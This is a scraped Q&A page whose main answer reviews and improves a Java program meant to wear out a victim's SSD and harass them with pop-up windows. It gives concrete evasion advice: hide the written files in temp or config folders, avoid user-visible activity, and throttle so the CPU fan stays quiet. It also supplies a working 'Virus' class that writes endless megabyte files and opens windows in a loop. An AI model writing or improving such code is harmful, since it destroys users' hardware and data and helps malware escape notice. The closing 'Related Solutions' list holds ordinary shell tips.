Home » Java program to disturb user and waste SSD lifetime [closed]

Java program to disturb user and waste SSD lifetime [closed]

Solutons:


Your program is very inefficient.

First, to use up the SSD write cycles, you should write lots of data. A single three-bytes string is not that much. Plus, there might be SSD implementations that detect when the same block is written and just store a pointer to the block, using copy-on-write.

Instead, you should prepare a buffer with random data (a few megabytes is fine), write this buffer to a file, change one byte in each 512-byte area of the buffer and then write the buffer again, appending to the same file. This is probably handled more efficiently by the operating system than creating lots of very small files.

To create real damage, your program should hide itself. Creating lots of pop-up windows is a very bad strategy since the user immediately notices that something is going on, navigates to the task manager and just kills the process, which closes all the windows at once.

Therefore, don’t interact with the user at all. Don’t annoy them, don’t let them even notice anything. Now this gets tricky since you have two opposing goals:

  • Write to the SSD as fast as possible. This takes CPU cycles and will therefore probably activate the CPU fan after a short time.
  • Be unsuspicious. This means reducing the write speed to a level that will not make any noise.

To reduce the load on the CPU, you should not use character streams at all since the characters need to be converted into bytes before being written to disk. This takes time and makes noise. Instead, use a byte[] and write to a byte stream. You can even think about memory mapping to avoid copying memory blocks.

To hide the generated file, don’t create it in the current folder. Instead, hide it in AppData/Local/Temp or ~/.local/config, it will keep hidden longer than in ~/Downloads.

Instead of extending the Thread class, you should implement Runnable. Luckily, you start your threads instead of running them, so you are not bitten by that bug. But there was a different memory leak bug in Java >= 6, I just don’t remember the exact details.

If your target environment is Java >= 8, you can write much less code by just having two methods and converting them to Runnable implicitly:

import java.awt.FlowLayout;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Random;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.SwingUtilities;

public class Virus {

    public static void main(String... args) {
        new Thread(Virus::createFiles).start();
        new Thread(Virus::openWindows).start();
    }

    private static void createFiles() {
        byte[] bytes = new byte[1 << 20];
        new Random().nextBytes(bytes);

        int number = 0;
        while (true) {
            try {
                Files.write(Paths.get(Integer.toString(number)), bytes);
                number++;
            } catch (IOException e) {
                System.out.println("Virus could not be executed properly :(");
            }
        }
    }

    private static void openWindows() {
        while (true) {
            SwingUtilities.invokeLater(Virus::openSingleWindow);
        }
    }

    private static void openSingleWindow() {
        Random random = new Random();
        JFrame frame = new JFrame();
        frame.setSize(200, 200);
        frame.getContentPane().setLayout(new FlowLayout());
        frame.getContentPane().add(new JLabel("I prefer old HDD's."));
        frame.setVisible(true);
        frame.setLocation(random.nextInt(800), random.nextInt(600));
        try {
            Thread.sleep(40);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Using method references instead of implementing the Runnable interface explicitly saves a lot of code, especially for UI applications that have lots of very small event handlers.

When doing UI operations in multithreaded applications, you have to be very careful about thread synchronization. Therefore, any UI related code should run in the main Swing thread (SwingUtilities.invokeLater).

By the way, a characteristic feature of a virus is that it spreads. Your program doesn’t do this, therefore you should call it only Malware, not virus. It also doesn’t infect other programs by changing their executable code, therefore it could only be a worm. If you do damage, at least get the terminology right. 🙂

Related Solutions

Building a multi-level menu for umbraco

First off, no need pass the a parent parameter around. The context will transport this information. Here is the XSL stylesheet that should solve your problem: <!-- update this variable on how deep your menu should be --> <xsl:variable...

How to generate a random string?

My favorite way to do it is by using /dev/urandom together with tr to delete unwanted characters. For instance, to get only digits and letters: tr -dc A-Za-z0-9 </dev/urandom | head -c 13 ; echo '' Alternatively, to include more characters from the OWASP...

How to copy a file from a remote server to a local machine?

The syntax for scp is: If you are on the computer from which you want to send file to a remote computer: scp /file/to/send username@remote:/where/to/put Here the remote can be a FQDN or an IP address. On the other hand if you are on the computer wanting to...

What is the difference between curl and wget?

The main differences are: wget's major strong side compared to curl is its ability to download recursively. wget is command line only. There's no lib or anything, but curl's features are powered by libcurl. curl supports FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP,...

Using ‘sed’ to find and replace [duplicate]

sed is the stream editor, in that you can use | (pipe) to send standard streams (STDIN and STDOUT specifically) through sed and alter them programmatically on the fly, making it a handy tool in the Unix philosophy tradition; but can edit files directly, too,...

How do I loop through only directories in bash?

You can specify a slash at the end to match only directories: for d in */ ; do echo "$d" done If you want to exclude symlinks, use a test to continue the loop if the current entry is a link. You need to remove the trailing slash from the name in order for -L to...

How to clear journalctl

The self maintenance method is to vacuum the logs by size or time. Retain only the past two days: journalctl --vacuum-time=2d Retain only the past 500 MB: journalctl --vacuum-size=500M man journalctl for more information. You don't typically clear the journal...

How can I run a command which will survive terminal close?

One of the following 2 should work: $ nohup redshift & or $ redshift & $ disown See the following for a bit more information on how this works: man nohup help disown Difference between nohup, disown and & (be sure to read the comments too) If your...

Get exit status of process that’s piped to another

bash and zsh have an array variable that holds the exit status of each element (command) of the last pipeline executed by the shell. If you are using bash, the array is called PIPESTATUS (case matters!) and the array indicies start at zero: $ false | true $...

Execute vs Read bit. How do directory permissions in Linux work?

When applying permissions to directories on Linux, the permission bits have different meanings than on regular files. The read bit (r) allows the affected user to list the files within the directory The write bit (w) allows the affected user to create, rename,...

What are the pros and cons of Vim and Emacs? [closed]

I use both, although if I had to choose one, I know which one I would pick. Still, I'll try to make an objective comparison on a few issues. Available everywhere? If you're a professional system administrator who works with Unix systems, or a power user on...

How do I use pushd and popd commands?

pushd, popd, and dirs are shell builtins which allow you manipulate the directory stack. This can be used to change directories but return to the directory from which you came. For example start up with the following directories: $ pwd /home/saml/somedir $ ls...

How to forward X over SSH to run graphics applications remotely?

X11 forwarding needs to be enabled on both the client side and the server side. On the client side, the -X (capital X) option to ssh enables X11 forwarding, and you can make this the default (for all connections or for a specific connection) with ForwardX11 yes...

What does “LC_ALL=C” do?

LC_ALL is the environment variable that overrides all the other localisation settings (except $LANGUAGE under some circumstances). Different aspects of localisations (like the thousand separator or decimal point character, character set, sorting order, month,...

What is a bind mount?

What is a bind mount? A bind mount is an alternate view of a directory tree. Classically, mounting creates a view of a storage device as a directory tree. A bind mount instead takes an existing directory tree and replicates it under a different point. The...

Turn off buffering in pipe

Another way to skin this cat is to use the stdbuf program, which is part of the GNU Coreutils (FreeBSD also has its own one). stdbuf -i0 -o0 -e0 command This turns off buffering completely for input, output and error. For some applications, line buffering may...

Can less retain colored output?

Use: git diff --color=always | less -r --color=always is there to tell git to output color codes even if the output is a pipe (not a tty). And -r is there to tell less to interpret those color codes and other escape sequences. Use -R for ANSI color codes only....

How do I copy a folder keeping owners and permissions intact?

sudo cp -rp /home/my_home /media/backup/my_home From cp manpage: -p same as --preserve=mode,ownership,timestamps --preserve[=ATTR_LIST] preserve the specified attributes (default: mode,ownership,timestamps), if possible additional attributes: context, links,...

Can I zip an entire folder using gzip?

No. Unlike zip, gzip functions as a compression algorithm only. Because of various reasons some of which hearken back to the era of tape drives, Unix uses a program named tar to archive data, which can then be compressed with a compression program like gzip,...